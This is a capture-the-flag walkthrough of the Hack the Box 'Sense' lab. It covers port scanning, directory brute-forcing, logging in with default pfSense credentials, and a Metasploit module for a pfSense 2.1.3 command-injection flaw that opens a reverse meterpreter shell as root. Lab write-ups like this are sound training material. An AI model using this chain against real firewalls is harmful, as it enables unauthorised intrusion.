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Sense Walkthrough


Apr 20, 2023
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Hello friends!! Today we are going to solve another CTF challenge “Sense” which is available online for those who want to increase their skill in penetration testing and black box testing. sense is retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level. We are going to start a new series of hack the box beginning with Sense craft which is designed for beginners.

Level: Intermediate

Task: find user.txt and root.txt file in the victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is so let’s begin with nmap port enumeration.

nmap -A --open

From the given below image, you can observe we found port 80, 443 are open in the victim’s network.

Knowing port 80 is open in victim’s network we preferred to explore his IP in the browser but didn’t get any remarkable clue on its PF Sense Login Portal for next step.

Now we have this Login Portal using DirBuster Tool. As you can see we have given Target IP in the Target URL option. And we have given the path of the directory we want to enumerate which is /usr/share/wordlists/disbuster/directory-list-2-3-medium.txt. In File Extension option we have given the format of the file which is txt. Then Click on start for BruteForcing.

After going through all the directories and file’s we came up with a conclusion that system-users.txt has the clue for our next step.

Now we have simply accessed the file using the browser by giving an input of, what we saw was a Username and Password which can be used to an accessed Sense Login portal. But giving these inputs didn’t actually log us in.

This made us curious, then we decided to take a little help from google. We searched for the default username and password for PFSENSE. The result we got can be seen in the image below.

Then we have given username as rohit and password as pfsense. Where r is in small letter these credentials have successfully logged us into the pfsense portal.

We figured out that we should try searching for the pfsense version which is 2.1.3 on google. And as usual, it came out to be a Remote Command Execution Exploit.

Once we are assured of the username and password, we have used Metasploit exploit and got the meterpreter as you can see below.

use exploit/unix/http/pfsense_graph_injection_exec
set rhost
set username rohit
set password pfsense
set lhost
set lport 9000

Once we have got the meterpreter. We have used command cd /home to check what kind of directories are on home. Then we check inside the rohit directory using command ls /home/rohit, here we found out the user.txt file and used cat user.txt to read the file content which contains our first FLAG!!

After getting our first FLAG. We have used shell command and whoami command which has displayed the current user which is root, then after getting into root directory, we have used ls command which gave us the root.txt file. Whose content we would like to see by using the cat root.txt command. Finally, we found our final FLAG!!

cd /root
cat root.txt
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